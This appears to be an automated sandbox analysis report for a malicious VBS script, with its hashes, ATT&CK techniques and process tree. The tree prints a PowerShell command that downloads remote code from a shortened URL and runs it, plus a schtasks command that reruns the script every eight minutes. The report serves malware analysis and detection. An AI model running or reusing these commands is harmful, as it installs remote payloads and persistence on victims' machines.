69a7fd5ba6e543deeba3bc302c5cde78e0e089e95b28a86a46783d5db0f8c683

Analysis

max time kernel
118s
max time network
124s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
06/09/2024, 10:56

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General

Target
cf63d0b15d5d11efe96b97b75ec9e767_JaffaCakes118.vbs
Size 1KB
Sample240906-m17dxsshmg
SHA256 69a7fd5ba6e543deeba3bc302c5cde78e0e089e95b28a86a46783d5db0f8c683
MD5 cf63d0b15d5d11efe96b97b75ec9e767
SHA1 7bc07ee8846a857df1212d808c968a357104965c
SHA512 0f65c743989ce23c419865aec2bdb5ad23878015b9bca8fd140843bb3a77ea7f04652f7b105e758ee5a0b9f3a20743896af0c4ee3b65656df855056bad9efdc0
MD5 SHA1 SHA512

Score

10^/10

discovery execution

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://bit.ly/2XDPsZ6

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
5	2680	Powershell.exe
7	2680	Powershell.exe
8	2680	Powershell.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SysStartup.vbe	WScript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2680	Powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Powershell.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2336	schtasks.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2680	Powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2680	Powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 940 wrote to memory of 2680	940	WScript.exe	31
PID 940 wrote to memory of 2680	940	WScript.exe	31
PID 940 wrote to memory of 2680	940	WScript.exe	31
PID 940 wrote to memory of 2680	940	WScript.exe	31
PID 940 wrote to memory of 2336	940	WScript.exe	33
PID 940 wrote to memory of 2336	940	WScript.exe	33
PID 940 wrote to memory of 2336	940	WScript.exe	33

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\cf63d0b15d5d11efe96b97b75ec9e767_JaffaCakes118.vbs"
1⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:940
- C:\Windows\syswow64\Windowspowershell\v1.0\Powershell.exe
  "C:\Windows\syswow64\Windowspowershell\v1.0\Powershell.exe" -noexit -C $cry = new-object Net.WebClient;iex $cry.DownloadString('http://bit.ly/2XDPsZ6')
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2680
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /sc minute /mo 8 /tn localhost /tr "C:\Users\Admin\AppData\Roaming\cf63d0b15d5d11efe96b97b75ec9e767_JaffaCakes118.vbs
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2336